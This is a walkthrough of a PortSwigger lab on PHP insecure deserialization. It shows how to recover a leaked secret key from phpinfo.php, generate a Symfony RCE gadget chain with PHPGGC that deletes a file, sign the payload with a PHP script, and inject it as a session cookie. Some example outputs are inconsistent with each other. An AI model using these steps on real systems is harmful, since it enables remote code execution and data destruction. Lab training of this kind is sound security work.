PortSwigger

Lab Description
This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.
Objective: Identify the target framework, use a third-party tool to generate a malicious serialized object, create a valid signed cookie, and delete the
morale.txtfile from Carlos’s home directory.
- Your credentials:
wiener:peter
Step 1: Understanding the Vulnerability
The PHP deserialization flaw:
- The application uses signed cookies with Base64-encoded serialized PHP objects
- Cookie format:
{"token":"[serialized_object]","sig_hmac_sha1":"[HMAC_SHA1_signature]"} - The application uses Symfony framework (vulnerable to RCE gadget chains)
- We have the secret key (leaked via
/cgi-bin/phpinfo.php)
The attack:
- Generate a malicious serialized object using PHPGGC (Symfony RCE gadget chain)
- Sign it with the leaked secret key using HMAC-SHA1
- Construct a valid cookie with the malicious object
- Send the cookie → deserialization triggers RCE → file deleted
Step 2: Reconnaissance
Step 2.1: Log In
- Log in with
wiener:peter - Capture a request containing the session cookie

Step 2.2: Analyze the Cookie
Decoder(Decode as URL → Base64):

From the Inspector panel, the cookie structure is:
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=","sig_hmac_sha1":"d5c6b8c9e7a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5"}
Structure breakdown:
| Field | Purpose |
|---|---|
token | Base64-encoded serialized PHP object |
sig_hmac_sha1 | HMAC-SHA1 signature of the token |
Step 2.3: Decode the Token
Decode the Base64 token to reveal the serialized PHP object:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Step 2.4: Test Cookie Modification
If you modify the cookie and send the request, the server returns an error because the signature no longer matches.
Step 3: Finding the Secret Key
Step 3.1: Discover the Debug File
The error message or developer comment reveals the location: /cgi-bin/phpinfo.php
Step 3.2: Request phpinfo.php
GET /cgi-bin/phpinfo.php HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

Step 3.3: Find the SECRET_KEY
Search the response for SECRET_KEY. It appears in the Environment section:

Save this secret key for later.
Step 4: Setting Up PHPGGC
Step 4.1: Download PHPGGC
git clone https://github.com/ambionics/phpggc.git
cd phpggc

Step 4.2: Generate the Malicious Object
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0

What this does:
Symfony/RCE4- The gadget chain for Symfony RCEexec- The method to call'rm /home/carlos/morale.txt'- The command to execute| base64- Convert binary output to Base64-w 0- Line Break Missed
Expected output (example):
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcRGVidWdcc15cRGVidWdDbGFzcyI6Mjp7czoyNzoiAFN5bWZvbnlcQ29tcG9uZW50XERlYnVnXEZfcmVmTGluZSI7czoyMjoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MTc6IgBTeW1mb255XENvbXBvbmVudFxEZWJ1Z1xFcm9yIjtzOjQ6ImV4ZWMiO30=

Step 5: Creating the Signed Cookie
Step 5.1: PHP Script to Sign the Cookie
Create a file called sign.php:
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "vyd1633102hszygg0lqsz70qyosbrn1k";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>
Step 5.2: Run the Script
php sign.php

Expected output:
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcRGVidWdcc15cRGVidWdDbGFzcyI6Mjp7czoyNzoiAFN5bWZvbnlcQ29tcG9uZW50XERlYnVnXEZfcmVmTGluZSI7czoyMjoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MTc6IgBTeW1mb255XENvbXBvbmVudFxEZWJ1Z1xFcnJvciI7czo0OiJleGVjIjt9%22%2C%22sig_hmac_sha1%22%3A%22a1b2c3d4e5f67890abcdef1234567890abcdef12%22%7D
Step 6: Injecting the Malicious Cookie
Step 6.1: Replace the Session Cookie
In Burp Repeater, replace the session cookie value with the output from the script.
Step 6.2: URL Encode (If Not Already)
The script already URL-encoded the output. If not, URL-encode it manually.
Step 6.3: Send the Request
Send any request (e.g., GET /my-account)
Step 7: How It Works
Deserialization process:
- Server receives request with signed cookie
- Server verifies HMAC signature using secret key
- Server decodes the Base64 token
- Server deserializes the PHP object
- Symfony gadget chain triggers RCE
rm /home/carlos/morale.txtexecutes- The file is deleted
Step 8: Lab Solved
Success message displayed:
